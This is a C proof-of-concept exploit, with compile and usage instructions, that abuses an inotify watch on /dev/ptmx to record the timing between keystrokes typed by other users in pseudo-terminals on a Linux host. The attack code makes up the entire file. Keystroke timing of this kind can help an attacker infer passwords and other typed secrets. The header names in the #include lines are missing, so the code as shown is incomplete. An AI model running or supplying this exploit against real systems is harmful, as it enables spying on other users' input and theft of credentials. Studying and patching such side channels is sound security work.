/* This PoC discloses latency between keystrokes thanks to /dev/ptmx. Compile: cc ptmx-keystroke-latency.c -o ptmx-keystroke-latency Usage: ./ptmx-keystroke-latency Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64). For more information: http://vladz.devzero.fr/013_ptmx-timing.php ----------------------------------------------------------------------- "THE BEER-WARE LICENSE" (Revision 42): wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return. -V. */ #include #include #include #include #include #include void show_time_info(struct timeval *x, struct timeval *y) { struct tm *st_tm; char *time_str; long delta; st_tm = localtime(&y->tv_sec); time_str = malloc(9); sprintf(time_str, "%s%d:%s%d:%s%d", st_tm->tm_hour < 10 ? "0" : "", st_tm->tm_hour, st_tm->tm_min < 10 ? "0" : "", st_tm->tm_min, st_tm->tm_sec < 10 ? "0" : "", st_tm->tm_sec); delta = (y->tv_sec - x->tv_sec ) * 1000; delta += (y->tv_usec - x->tv_usec) / 1000; printf("%s (+%ld ms)\n", time_str, delta); } int main() { int fd; struct timeval start, finish; char buf[1024]; printf("[+] PoC to disclose latency between keystrokes\n"); printf("[+] Wait for someone to type in a PTY\n"); fd = inotify_init(); inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY); for(;;) { gettimeofday(&start, NULL); read(fd, buf, 1024); gettimeofday(&finish, NULL); show_time_info(&start, &finish); } return 0; }